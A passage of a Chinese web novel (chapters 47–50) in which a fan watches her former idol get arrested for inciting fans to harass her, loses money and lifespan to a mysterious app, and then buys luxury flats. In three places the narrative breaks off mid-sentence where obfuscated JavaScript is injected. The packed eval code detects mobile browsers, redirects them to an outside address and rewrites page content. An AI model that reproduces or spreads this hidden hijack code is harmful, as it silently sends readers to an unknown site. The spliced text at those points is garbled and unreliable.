【丑聂怎么敢的？逼装成这样，装逼遭雷劈啊，人怎么能虚伪到这种地步？还相信自己能做到，哈哈！老娘乐了！】 【是哪种能做到啊？养蛊的那种吗？不让自己粉丝粉别人的那种吗？还尊重粉丝的选择，哈哈哈，真是天大的笑话！自己身上都一堆屎没擦干净，就敢内涵别人？】 【丑聂这种人为什么还能在娱乐圈混啊，还有有凤娱乐的官方也是疯了，他大放厥词你们听听就好了，还敢剪出来，为了流量是一点脸面都不要了。】 【截图码住，等丑聂塌房的那天，我一定要拿出来好好嘲死他哈哈！】 这些还是稍微能入眼的，再往下看几乎全是没有实际意义的脏话和谩骂。 大约是骂人的评论实在太多，凌钰再刷新时就发现博主把这条的评论直接关了，但即便如此，转发里的内容也还是不堪入目。 她皱了下眉，之前真没发现王晨之粉丝的战斗力居然这么强，人有这么多。 这么厉害，不该早成顶流了吗？怎么会糊到没工作？ 但现在这种网络骂战显然已经毫无意义，凌钰还惦记着民警说的“王晨之有问题”，她搜索T市公安，又连续刷新了主页好几次，终于看到了一条最新微博。 “警情通报：近日，我局接到报案，艺人王某某及其粉丝利用多种途径对报案人进行骚扰、威胁，并利用网络制造舆情，造成恶劣影响。 经查，王某某（男，25岁）为博取眼球，吸引粉丝，报复他人，在网络平台编造自己受人利用的虚假事实，并私下联系引导粉丝张某某（女，18岁）为其出气，造成严重不良社会影响。 随后，犯罪嫌疑人张某某要求其男友刘某（男，23岁）协助，二人使用境外IP侵入报案人所在小区监控系统，对报案人进行恶意骚扰、恐吓，并利用外卖、同城快递等邮寄不明物品。 目前，王某某、张某某、刘某均已被警方控制。案件将进一步侦查。” 47.第 47 章 凌钰通篇读完，愣了半天。 她本来以为王晨之只是发了条似是而非的微博，毕竟他与自己的聊天和通话记录其实也并没有太多实证能说明他有问题，最多算是贫嘴，是骚扰，却没料到这人竟然自己作死。 “私联引导粉丝为他出气”这些词实在小众，但放在他身上—— 想到这人之前的作风，凌钰一下子又觉得，倒也合理。 只是可怜了他的粉丝，十八岁才刚成年，也许心智都还没成熟呢，就被喜欢的偶像无情利用，满腔爱意被引导成恶意，终于做出这么不理智的行为，结果不仅没能达到目的，反倒把自己给搭进去了。 不过有时候，可怜之人也有可恨之处。 凌钰垂下双眸，没有心软。因为对方无所不用其极的恶意和堪称疯魔的行为，自然也有几分本性在其中。 平安T市的这条警情通报和以往一样都是非常简单的蓝底白字，连个文案都没有，因此一时间并没有吸引太多关注的目光，唯有关注过账号的路人不明所以地在下方评论。 【又是哪个艺人发癫了？】 【王某某，谁啊？谁家偶像又塌房了？】 【不可能吧，难道是这两天热搜上炒的最厉害的那个偶像组合的王某某？我查了下，好像就是25岁，但他粉丝刚刚还在首页疯狂辱骂聂嘉远啊。】 【如果是他，他粉丝还有空去骂别人？有人知道他今天微博在线了没？】 凌钰没去回复任何人，而是用自己的微博点赞并转发。 【@我来追星了：网络非法外之地，希望大家都能理智追星，也希望所有艺人都能谨言慎行、遵纪守法、永不塌房。】 【我来追星了】这个号自从建号起，除了王晨之的那条公开脱粉声明，其余不管是辟谣、氪金还是别的什么，全部都是抽奖。这还是第一回没有任何格式，也不带任何艺人名字的发帖。 这两天她本来就在风口浪尖上，几乎是转发的瞬间，就涌进了无数吃瓜群众。 【？？？啥意思？？？】 【是内涵还是别的什么？等一下，那个王某某什么情况，谁啊？】 【25岁的王某某，王晨之？他被抓了？我就说不太对劲，今天还刷到一个爆料说看到他出现在T市公安局门口，那狗仔还以为对方是去告追星和聂嘉远的，结果是他自己被抓了？】 【真的是王晨之吧！他昨天的IP地址就显示在T市，昨天傍晚还在线，今天一天都没上线了。】 有人猜测，当然也有怒火冲天的橙子们激烈的否认。 【你特么是疯了吧！干什么，想引导造谣我们王晨之吗？我告诉你，你进去，聂嘉远进去，你们全家都进去，聂嘉远工作室所有人都进去，王晨之都不会进去！】 【@平安T市，别发警情通报了，先看看这人是怎么煽风点火的吧！】 【上面谁说那是王晨之的？王晨之今年明明24岁，你们从哪得出他25岁的结论？不看百科的资料吗，还说查过，造谣一张嘴真的什么屎盆子都敢往下扣，真当我们橙子是好惹的？】 【只能说粉随蒸煮吧，丑聂刚在那边装逼，他粉丝在这就也装上了。现在真是有点共情恒星了，赵恒这些年总跟聂嘉远同台，也真是倒了大霉。】 凌钰这条微博的评论区乱成一团，唯有家园不语，只是一味转发扩散。 橙子们气势汹汹，这段时间越来越多的人知道了王晨之，超话签到和发帖量都大大增加，正主明显有脱离糊咖直升流量的趋势，再加上各种粉丝群每晚都在打鸡血鼓劲，她们自然更是战斗力爆棚。 对比之下，简直像把佛系的家园们摁在地上摩擦一样。 全程围观并适时煽风点火的恒星都乐了。 【没见谁家追星天天生怕正主塌房的，某位氪金粉不会是被之前追了十年的正主搞得PTSD了吧，你们知道墨菲定律吗？人啊，一般越不希望某件事发生，那件事就越会发生。】 【所以说丑聂真的能搞事，我们恒是受了多大的苦啊，之前说破嘴皮子都没人信，现在终于有人能收拾这帮家园了，我将仰天大笑。】 【不是，丑聂家到底还要闹多少笑话多少幺蛾子啊？两人还联动上了，那边冠冕堂皇，这边模凌两口，都不知道自己已经得罪了多少人。是准备干完这一票就不在娱乐圈混了吗？】 然而这些声音并没有持续太久，很快，一条微博占领了热门话题。 【@可乐不加冰：本来不想说什么，可我真的不希望有人再和我妹妹一样被人欺骗。虽然已经被警方控制，但王晨之背后还有公司和资本，也许根本不会有什么太大的惩罚就能复出，而我妹妹却因为他留下了永远的污点。 她才十八岁，准确的说，是才过完十八岁生日，就因为这个根本不值得的人犯下这么大的错。她自己偏执是错，可引导她的人更让人觉得恶心，何况这个人还是偶像，是爱豆！ some组合的@王晨之，说的就是你！ 氪金粉公开发了脱粉声明是为什么，你自己心里清楚，却偏偏舍不得放不下。自己骚扰别人不成，就要让我妹妹这个无辜的人替你出头！她甚至还以为自己是为民除害，是为正义伸张。 出道至今你究竟干了些什么，你敢说吗？不过最近这段时间你也没办法为自己辩解了。我只希望等你出来之后，哪怕还能在这个圈子里，也不要再有人走我妹妹的老路。 希望所有的追星人都能擦亮眼！】 下面配了好几张微信截图，全部都是聊天记录。 这次名为【橙王子】的人并没有再乱喊“姐姐”，而是一口一个“妹妹”，每一句都是带着绿茶味的诉苦，看似说自己没事，实则表达的全是有事。 而手机的这一端，能看到当事人从最初的关心到义愤填膺，到愤恨赌气破口大骂，到犹豫不决，再到最后放手一搏的心态改变。 可以说，如果没有对方的语言诱导，这件事有可能还真的不会发生。 虽然发博人并未表明自己确切的身份，可这样点名道姓的指责却让很多人都回过味儿来。 【？这是，张某某的姐姐？】 【不会吧，王晨之真被抓了？这个微信名，很陌生又很眼熟啊……这就是王晨之吧，所以之前爆料的聊天记录也是真的，他就是喜欢改微信名！】 【这人对自己的名字是有什么执念吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205884|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是有每过一段时间就得改微信名并且要用自己名字谐音的任务吗？不改就会死的那种？】 【楼上说笑了，有没有一种可能，不改早就死了。现在虽然改了也难逃一死，就是怕某一天被曝光被截图吧？】 【他粉丝这两天这么疯，没想到是最后的疯狂！不会吧！之前我看他综艺，挺有效果的一个人，公益什么的也都冲在最前面，结果背地里竟然是这样的！难怪追星姐突然毫无预兆发了公开的脱粉声明！】 【他们上次遇到，肯定有联系方式。如果不是知道某个人有问题，谁会无缘无故脱粉，还闹这么大啊？】 舆论哗然，越来越多的人加入讨论，很快又有不同的人发出了和王晨之的聊天记录，#王晨之塌房#和#王晨之被捕#的话题冲上了热搜，但凌钰已经完全没兴趣再看了。 因为随着这人的彻底塌房，一条银行扣款信息慢悠悠地从屏幕中跳了出来。 她的钱！她的钱啊！！ 虽然在这人身上投资的金额有限，但即便再少加起来也有十万一千，凌钰看了眼，账户里一次性扣掉了她四万多，可见他的确是在她脱粉之前就已经有了塌房行为。真坑！ 哪怕她现在身家过亿，已经不是当初的她，凌钰也觉得非常不值。 四万块干什么不好，买吃的喝的，买穿的用的，去LP还能买个黄金挂件呢，现在却因为这恶心的东西无缘无故地全没了，打水飘了，消失了。 但这还不是最严重的，最严重的是一直悄无声息躺在首页的【识人】也弹出了一条提示—— 【宿主您好，按照相关规定，您所投资的正主2王晨之已塌房，需扣除对应已拥有金额及剩余寿命。相应金额已扣除，现扣除剩余寿命。您原有剩余寿命18天，需扣除寿命7.2天，按四舍五入计，您现有剩余寿命为11天。】 虽然系统还算仁慈，但—— 她的命！她的命啊！！ 今年春节时间比较早，凌钰本来一直以为自己至少可以舒服摆烂到大年初三，还可以在此期间细细考察、慢慢寻找下一位正主2，结果一眨眼的工夫，钱没了，命也没了，连年都过不了了。 这癫公叠出的内娱，什么时候才能让她活得放心，活得安心？ 咬牙切齿地又低声辱骂了片刻，凌钰化悲愤为食欲和消费欲，发了条信息给孙致容：“今晚吃大餐，我点外卖送回来吧，吃国贸那家海鲜火锅呗？我看家里好像还没有可以用的火锅，直接跟店家买个火锅一起送来。” 孙致容正堵在路上，半天才回消息：“今天轮到我开车。” “姐妹你受什么刺激了？吃火锅买菜就好了，你买锅干嘛？” 凌钰愤恨：“你不懂，我突然生出了极大的消费欲。” 孙致容确实不懂，片刻过后才变成了语音：“跟你们有钱人拼了！家里的锅随便用用呗，又不是煮不熟。” 话虽如此，她也并没有纠结这件事，而是接着道：“路上堵死了，我们大概还有二十分钟才能到家。正好等红灯，结果一看微博发现王晨之塌房了！我去，咱们T市公安办案效率还是高啊，这么快就把人都给抓了。姐妹，你此生分明了！” 48.第 48 章 分不分明的凌钰不知道，反正她现在要疯是真的。 在最初选择脱粉的那一刻，她其实只是觉得王晨之有点不太对劲，随时有塌房的可能。 后来他的粉丝全面倒戈操作不断，变脸如翻书，凌钰除了无语，更多的则是疲于奔命忙于应付，哪怕报了警把所有的证据都交给警方，也不过是希望能早日找到骚扰恐吓她的人，早日破案。 但因为是虚拟IP，凌钰心里也清楚不太好查。 所以她也做好了准备，能找到人更好，如果实在找不到，官方能替她向对方给予威慑、提出警告，让那些狂热粉知道收敛，不敢再有进一步行动也可以。 她是真没想到这件事会直接牵扯到王晨之本人。 大约合该他倒霉。 就是这么巧，T市警方最近正重点紧抓国家安全和意识形态风险，防范网络不当言论，省里面好几个技术专家都在，凌钰这边才刚一报警就引起了重视，更别提除了那外卖，还牵扯出那么多别的事。 省、市专家通力合作，瞬间查了个水落石出。 出头的被抓，背后怂恿的也没能跑掉。 只是这种事后续处理还要看具体的侦办情况，她的巴掌既不可能扇进屏幕里，更不可能直接冲到警局去骂人。如今作恶的留下案底，而王晨之一心想要红，却彻底塌房。 塌得如此之快。 塌得人措手不及。 虽然【识人】app最开始就已经把正主塌房的后果说得非常清楚，可凌钰当时钱比命缺，一心只惦记着会倒扣的钱，都没太注意要扣的命。现在忽然看到系统跳出的提示，才觉得天灵盖都炸了。 明明原有寿命大多都是通过聂嘉远赚来的，却因为王晨之没了。他是得了报应，她却也要受到牵连，叫人如何不发疯？ 孙致容并不知道她在想什么，连发了好几条语音对王晨之开嘲讽，之后才道：“只可惜你地址被那人曝光到网上了，不然我觉得原来那房子还挺好的。” 凌钰回复：“不好，我要买豪宅。” 孙致容：“……有没有人说过，你有钱之后真的变得很过分！” 凌钰又道：“明天一早咱们就去看房，我看了一套大平层，正好上下两户都在卖，如果觉得好就都买下来。” 孙致容还在开车，整个人都不好了：“你还要买两套！” “对，”凌钰回答，“我一套，你一套。” 没过多久，对面发来了铿锵有力的四个大字：“好的爸爸！” 孙致容这么说，当然还是玩笑成分居多，但凌钰却确实已经打定了主意，即便到时候这大平层看了不满意，她也打算买个上下两层的叠墅或者别墅，这样大家住一起，也更方便互相照顾。 不过眼下还没到看房的时间，凌钰低头先把晚饭点了，才返回手机主页，重新进入【识人】查看详情。 然而这次才刚进系统，她就察觉出些不对。 古怪。 【识人】app原先简洁的首页画面最上方不知何时又多出一栏，上面标注着：内娱风气更正指数。 下方则是一条长长的百分比进度条，每逢20、40、60、80的百分比下都各有一个小小的礼盒，到100时则是个大礼盒，不过这些暂时还都是灰色的未解锁状态，无法点击。 什么意思？ 凌钰又仔细看去，才发现进度条内一点微不足道的红色，显示目前指数为0.73%。 正打算在线咨询问问清楚，系统就先弹出了两条提醒。 【最新提醒：宿主您好，您已触发“内娱风气更正”任务，当前更正指数为0.73%，该指数由系统根据实际情况判定，每更正一次风气，获得对应增加值，增加值具体计算方法不公布、不更改。】 【最新提醒：该更正指数每增加20%获得一次礼盒领取资格，至100%时任务完成，获得最终奖励。所有未解锁奖励具体内容不公开、不更改。】 …… 不知道为什么，她竟然从这略显AI的提示中读出了一丝无奈的防备。 主要前面的那些解释倒也罢了，可这两条的最后一句却都十分欲盖弥彰，好像生怕她会打破砂锅问到底，所以先提前堵住了所有的路，让她根本不再有任何多嘴的机会。 行吧。 倒也不必防她防成这样。 既然不肯公布，凌钰索性没再多此一举，只确认王晨之的标注后面确实已经改成了“已塌房”，就退出页面，重新进了微博。 此时此刻的热搜榜已经被王晨之彻底占据。无数相关话题从some组合如何出道，到之后队内如何炒cp，王晨之和付一为何决裂，再到各个明星和王晨之的相处模式等等等等，都被各种深扒。 广场上乱成一团。 有吃瓜群众的嘲讽，有对家粉丝的狂欢，有橙子们据理力争的反驳，有家园偶尔路过，当然也少不了恒星们避之不及的撇清。 【这两天他粉丝到处出警，把人家聂嘉远给骂成什么样了？就那个追星姐的微博底下，天天都是要人给实锤的，结果求锤得锤，一塌塌个大的。】 【之前我看他粉丝说什么墨菲定律的呢？没想到回旋镖打中自己了？所以说粉随蒸煮啊，正主就喜欢骚扰人，粉丝也一样。】 【负分们终于证明了自己，我们之前说破了嘴皮子说王晨之不是个东西，就是没人信！当然也可能之前是太糊了，所以爆料了都没人扒，这样想来，还得谢谢王晨之自己，要不是他自己作死，哪会有今天？】 【糊作非为吗？哈哈哈哈！真的笑死，之前我家周梓然跟他同框做活动，就因为没跟他比心，还被骂了好久说我家耍大牌。有没有可能同一个圈子的人互相之间更了解？】 【楼上周梓然家少蹭吧，你家主子也不是什么好东西，除了吸血师兄还会什么？】 【哟，怎么哪都有赵恒粉丝？之前你家不是跟橙子们统一战线来着，说赵恒和王晨之关系可好了诶，说聂嘉远是瘟神啊！怎么回事？那位可是被抓了，你家不会也快了吧？】 【楼上的周粉真是疯了，你家才会被抓。赵恒跟王晨之根本不熟好吧？】 【不是，究竟谁说那个王某某就是王晨之啊？王晨之不知道，王晨之不了解，王晨之工作室都已经发了声明了，王晨之根本没事好吧！】 【哈哈哈哈工作室的话能相信吗？他要真没事，让他自己发条微博啊。】 王晨之当然发不了微博，随着时间推移，不少橙子大粉也开始动摇，再加上越来越多的爆料，不仅扒出了这人多次利用粉丝，还扒出了付一之所以后来不给他好脸，连装都不想再装，是因为他也曾给对方发过很多骚扰信息。 而这个骚扰信息的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223172|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内容比给粉丝的更甚，爆出来的截图虽然已经数次打码，但还是能猜到大概的意思。 他不仅喊付一“哥哥”，还发了很多想你，想要，想这样那样的话。 简直离谱。 而那个总喜欢改来改去的微信名，这回不仅能为他规避风险，反而成了他身份的证明。 孙致容和周哥到家时，凌钰甚至看到了多家官方媒体发表长文—— 【追星需理智，网络需清朗】 【粉丝追星，明星究竟该扮演怎样的角色？】 【明星，就该不惧监督，尊重粉丝选择】 【“谨言慎行、遵纪守法、永不塌房”——这三句箴言真的是过分要求吗？】 她也是真没想到，自己这小小愿望竟然也会有被官媒引用的一天。 国贸的海鲜火锅又过了十几分钟才送到，看到凌钰除了一堆贵到离谱的海鲜外还真点了个“锅”，孙致容差点没掐自己人中，不过等热气升腾，鲜味伴随着沸腾的汤底钻进鼻腔，她还是边吃边靠在了椅背上。 “纸醉金迷的感觉真好啊，如此艰苦朴素的我就这么被金钱给腐蚀了。火锅，的确是边煮边吃最好吃，要不然在煤气灶上煮完再拿上来，味道就变了——” 她深吸了一口气：“我也变了，我变得贪图享乐！呜呜我怎么就堕落了呢？” 周哥和孙爸也点头，又异口同声道：“但是真香。” 一直到晚上临睡前，微博都还在吵吵闹闹，因为官媒的下场，王晨之塌房的事成了板上钉钉，发布虚假声明的工作室被禁言，就连王晨之自己的微博也被封。而凌钰的评论区则多了很多前来道歉的，追随的，甚至迷信的。 【不是，追星姐这塌房雷达这么厉害吗？】 【我为之前跟风骂你道歉，真没想到王晨之居然是这种人，真的他看上去一脸纯真，怎么会干出那么多出格的事，还骚扰男队友，救大命！】 【付一居然忍着没报警我也是真佩服，不过追星姐还是太牛了，难怪要发脱粉声明，我要是也有这么一双厉害的眼睛就好了，能不能帮我看看我正主稳不稳啊？】 【追星姐都不回复评论的，那不管，我先拜拜，希望我家爱豆能做到三句箴言，我可不希望哪天一睁眼，发现自家房子塌了……】 【我也拜拜！求求了求求了求求了！】 凌钰看了半天，虽然封建迷信要不得，但她平时每晚也会向四面八方的诸天神佛拜拜。 不过她总觉得这帮人在她这拜实在是找错了对象，她本来就有点识人不清，否则怎么会追了林业那个法制咖十年，还差点把命都给弄丢了。而现在聂嘉远虽然很□□，王晨之该塌也还是塌得彻底。 虽然闹得轰轰烈烈，但王晨之说到底也仍旧只是内娱一个昙花一现的糊咖。 短暂的讨论过后，很快就被人抛弃遗忘。 年底，各大平台纷纷发力，老剧要颁奖新剧要宣传，除了是一年一度的盛典，能给粉丝和艺人最好的总结，更是对来年招商的极大期盼。 次日凌钰一早醒来，就看到了赵恒花香之夜的出发照。 国际顶奢的高定西服穿在他身上，光影明灭，倒是将这个人原本还有些许缺陷的脸衬托得格外贵气。 底下的粉丝更是夸得天上有地下无，也难免有人又将聂嘉远和这位老对家放在了一起做对比。 49.第 49 章 难得的周末，又解决了脱粉王晨之带来的麻烦，这点小打小闹的争端就显得完全不够看了。 凌钰把手机扔到一边，起床洗漱完回来时，孙致容还在床上睡得天昏地暗。 她这工作又累又忙，但工资却并不高，说起来是在机关单位，其实却是个下属公司的合同工。每天起得比鸡早，活得比狗累，睡得比猫晚，堪称牛马中的牛马，今天好不容易休息，凌钰也没急着喊她。 环顾四周，原来大家都是租的小公寓，看起来区别并不大，只不过她当时自己一个人住，所以显得空间更宽敞些。 可后来她买了房，再对比看现在这间屋子，就显得格外狭小逼仄起来。三个人住就已经塞得满满当当，现在又多了她一个，更是连个下脚的地方都没有。 孙爸年纪大了，醒得早，本来每天还能坐在沙发上看看早间新闻。 这两天因为周哥睡在沙发上，他连个坐的地方都没了，只能窝在自己房间的床上，戴着眼镜刷手机。 一见她出来，孙爸就轻手轻脚地出来问：“想吃什么早饭？我锅里熬了粥，想吃别的我出门去买。” 他说着就要去换鞋，凌钰连忙将他拉住：“外面太冷了，我刚好出门跑步，回头带点包子和油条回来吧。” “又要麻烦你……” 凌钰说是借住，但这几天家里早中晚三顿都被她给包了，孙爸十分过意不去，但又实在争不过她，只能被按着重新回房，又看着她活力四射地出门晨练。 多好的孩子，她父母也不知道怎么想的，工作再忙能有家人重要吗？这么多年，除了逢年过节偶尔发个消息，就跟消失了一样，简直是他老婆的翻版。 孙爸想到这里，顿时悲从中来。 转念再一想，人家忙活好歹还赚了很多钱，可他老婆倒好，忙活着全赔了，还欠了一屁股债，一时间更是越想越苦，默默掩面，怒刷小视频。 寒风凛冽，凌钰稍稍跑了一会儿就换成了快走。 街道两旁时不时飘来食物的香气，有嘈杂的人声响起，她的身体虽然还在机械的运动着，其实意识早就飘远了，脑子里都是乱七八糟的想法在乱转。 虽说要买两套大平层的豪宅，可她看过了，那两套房子报价加起来也不过五千多万，也就是说哪怕她全买了，交了税，再对一些原先装修不满意的地方重新改一改，也至少还会有四千万的结余。 原来没钱时只要有钱就好，现在既然有了钱，存银行吃利息当然也可以，但她想要在追星的路上拥有一定的话语权，就不能只是单纯摆烂了。 这两天她除了看房，还好好分析了一番目前娱乐圈的各大公司。 其中，赵恒和周梓然所在的花香娱乐比较偏向于演员经纪，王晨之所在的SO娱乐主攻爱豆，聂嘉远《凤凰记》播出所属的有凤娱乐则比较注重平台建设和自制剧。 这三家，除了SO稍稍有了点穷途末路的意思，资金链偶尔会出问题，另外两家可以说是实力雄厚，她那点钱完全不够看。 可SO虽然缺钱，却出了王晨之这种奇葩还一直没人管，又逼得同队的付一深受其害而不敢说话，里面水肯定很深。 公司内部不仅仅是决策，大概管理理念和方式都有问题。 倒是还有一家老牌的传媒公司春风传媒，更专注于电影和电视剧的打磨，但因为不太炒作，只闷头干活，所以反而没有另外三家那么热门。据传，这家公司的行事作风也如同它的名字一样，让人如沐春风。 他家的签约艺人总共才三个，平时很少营业，公司总裁也更致力于打造精品，属于那种能够不停投资十年磨一剑的类型。 多年来，已经出过好几部很优质的电视和电影。 不过也正因为这精雕细琢，凌钰前两天看到个小道消息，说他家四年前就筹备了一部大片，但因为项目迟迟不能推进，投资方中途跑了好几个，如果是真的，也许她倒可以小插一手。 凌钰边走边想，思绪终于被路边油条的香气打断。 肚子咕咕叫，民以食为天。 买了几根刚刚出炉的油条，又带了好几杯豆浆和豆腐脑，凌钰刚一到家就闻到一股怪味，而刚刚还在睡梦中的孙致容和周哥都已经起身，如同饿狼扑食：“饿饿饿饿饿！” 凌钰震惊：“孙爸不是煮了粥吗？” “孙爸刷小视频太专心，把粥煮糊了！”周哥痛彻心扉，“要不是我闻到糊味惊醒，咱家可能都要烧没了，到时候不仅无家可归，还得赔房东钱——” 孙致容更是满脸无语：“你现在知道我能活到今天有多不容易了吧？” 难怪一股怪味，凌钰顺着他们手指的方向看去，本就空间有限的厨房里此刻形状惨烈。 灶台上一片狼藉，煮粥的锅更是变得破破烂烂地掩映于漆黑的墙面之下，让本就并不富裕的家庭更加雪上加霜。 观其形容，看来不止是粥糊了，锅烂了，一旁摆着的塑料瓶塑料袋都烧坏好几个，凌钰之前闻到的刺鼻气味大概就来源于此。 除了孙爸过分沉醉于小视频，也是因为地方太小的缘故。 如果有足够的空间，有专门煮粥的电锅，预约计时，到时自动跳电，又怎么可能会发生这种事？ 买房！必须立刻买房！ 凌钰目光坚定地摆了摆手：“赶紧吃，吃完咱就出发。” 看房的事他们昨天就已经商量好了，上午十点半左右，周哥负责开车，带着她们第一次开进了T市景泰苑的大门。 而这个当儿，微博上已经又热闹起来。 其实按理来说，参加各家年终晚会的艺人都会发定妆照和出发图。一来是替平台宣传，吸引流量，二来也能彰显商业价值时尚地位和当前咖位，为将来的商业合作、品牌代言，甚至是后续发展奠定基础。 聂嘉远出发年终盛典之前也发过，当时他穿的是ME特别定制的超季款外套，内搭LQ设计师款定制衬衣，身上的珠宝和腕表则是另外两家国际顶奢，至于胸针，更是没有标注品牌。 但那些和今天赵恒穿搭比起来，就确实有些不够看。 除了他身上的衣服贵到离谱，脖子上戴的那款项链更是Tang家价值上亿的新品，最关键的是，品牌方并不是简单地发博认领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229152|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，竟还透露了一丝双方可能合作的意思。 恒星们顿时扬眉吐气，就连之前因为支持王晨之而被压着打的郁气都因此一扫而空。 而营销号发的和聂嘉远对比博下面，双方粉丝本来还只是简单的控评，也渐渐变了味。 【真的还要对比吗？帅不帅的，各花入各眼，可这套妆造的逼格用不着说也知道是谁赢了啊。丑聂粉丝不会觉得穿个国产奢品的超季就是牛了吧？国产奢品也叫奢品？国产超季也叫超季吗？笑了。】 【实话实说，我还第一次看到有人参加年末的活动，搭配的东西没有品牌认的呢。丑聂不是都号称顶流了吗？还是不行啊，哈哈哈！】 【别对比了，谁土谁low谁尴尬。】 【赵恒好看，赵恒帅，感谢@Tang的珠宝赞助，眼光真好。】 【丑聂就像那扶不起的阿斗，氪金粉为了他花了上亿了吧，热搜话题也没完没了，可结果呢？对打是和那个糊咖王晨之，参加活动胸针是没牌子的地摊货，这么多钱都捧不出个好的时尚资源，怜爱了。】 【说实话我更怜爱追星姐，强捧都捧不出来。追星还是得追赵恒这样的，正主带飞的感觉真爽。】 这最后一条评论的点赞已经过了三万，甚至有好事的营销号截图单发，带了#怜爱追星姐#的话题。 Tang作为目前国际著名的顶奢品牌，一直致力于超脱其余所有珠宝品牌的价值理念，换句话说就是材料、制作、工艺都可以靠后，但价格绝对顶级。而再往上，就几乎是内娱明星完全触碰不到的一级顶奢了。 也难怪恒星们沾沾自喜。 不过他们口中追星追错了的追星姐此刻正忙着看房，还不知道自己已经在网上被万人怜爱。 与之前的泰安小区不同，景泰苑并不能算是个常规小区，开车自大门进去之后就是地下车库，人需要由物业带着刷卡进电梯。一楼是个物业大厅，除了物业的工作人员，前台接待，还有很多值班的保安，二楼往上才是住户。 孙致容跟着凌钰，边走边忍不住感慨。 “我的妈呀，我这辈子第一次进这种高档地方。虽然以前有钱，但那时候在咱们那也没这条件，现在T市倒是有这条件，可我又没钱了。” “大厅里这个水晶吊灯估计都能在郊区买套小公寓，今天也是开了眼。” 等一路到了十二层，从入户电梯出来，看着物业解开密码锁，她的嘀咕就又变成了：“什么门啊居然是防弹的，咱这禁枪呢，不过该说不说也确实是安全了。” “看看，这才是大平层啊，快三百平了吧……这么多房间，七拐八绕的，难怪小说里女主进了霸总的家找不到大门。这还不是那种特夸张的独栋别墅呢就这样，我刚从哪进来的来着？” “里面这门还要人脸识别啊？牛，但这么复杂万一你要点外卖拿快递岂不是还得自己下楼搬？” 前面领路的物业态度矜持却和蔼，孙致容每句感慨哪怕是废话她都认真回复，闻言笑了笑：“不用的，咱们一楼有专门运货和送外卖的机器人，可以帮您送到入户厅。” 震惊。 50.第 50 章 三个人迷迷瞪瞪地把两户都看完，凌钰才转过头问：“怎么样？” 四目相对，孙致容迟疑着没敢开口。 之前凌钰只说要看房，并没有说这两户的报价，可刚刚这一路她已经弄清了，这两套房，价格低些的那个装修稍微差一点，开价也要两千多万。另一套豪华些，更是得三千万出头。 这也太贵了！ 以前她家有钱，可那时候即便再有钱，她毕竟还是个孩子，最高接触也就几百万。可现在却动辄千万，还总被凌钰说得格外轻松，叫她听得心惊肉跳，一时不知是在现实还是在梦中。 现在又当着人家物业工作人员的面问她怎么样，可得好好斟酌，不能答错了。 说不定自家姐妹兜里并没有这么多钱，打算由她口中找个理由不买了，或者还个价？ “就……”孙致容拿眼神示意，带着不太确定的尾音，“还行？” “我也觉得还行。” 凌钰并不知道她脑子里在想什么，而是很肯定地点了点头。 “这前面也没什么遮挡，对面又是护城河，风景挺好，虽然小区里面没有小花园和可以锻炼的器材，但我刚看了下，这一户本来就有个家庭健身房，锻炼身体也足够了，真要踏青什么的，去城河边也行。” “只不过十一层那户装修不太一样，”凌钰回过头问，“你们平时锻炼吗？” 周哥摆手道：“我俩咸鱼，生命在于静止，根本不运动。” “那倒也可以。”凌钰沉吟。 “什么意思？”孙致容还有点没反应过来。 结果下一秒，就见她那穷人乍富的姐妹斩钉截铁地发出了石破天惊的声音：“就是可以的意思，你们不用锻炼，就住十一层，我平时得锻炼，就住十二层，就定这两套了。” 凌钰说干就干，说买就买，说定下来之后立刻由物业带着交钱办手续，速度之快让跟在一旁的孙致容和周哥头脑都有些空白，一直到吃完午饭开车返程的路上都还是懵的。 虽说在他们的严词拒绝和全身心抗拒下，房子都还是在凌钰名下，但这可是景泰苑！月租都得过万甚至十几万的房，现在说要免费给他们住—— 车内是从未有过的安静。 也不知究竟过了多久，双目呆滞的孙致容才终于冒出一句变了调的嚎叫：“阿珍你怎么又来真的！” “你之前说要买豪宅你一层我一层的时候我真以为是在开玩笑，我还喊你爸爸！结果你真买两层，”她有气无力地靠在车窗上，“我们真搬家啊？感觉在做梦，要不你一个人住两层吧——” 她艰难地扭过头：“不然我还要真喊你爸爸，那我爸爸喊你什么？” 凌钰此刻大马金刀坐在后座，犹如霸总附体，她装模作样地歪了歪脑袋，邪魅一笑：“我可生不出你这么大的好大儿。再说这算什么？都是小钱。放心，往后吃香的喝辣的，等姐妹带你好好开眼！” 孙致容哆嗦着嘴皮子，没忍住狠狠给自己来了一下，又疼得“嗷”一声：“真不是做梦。” 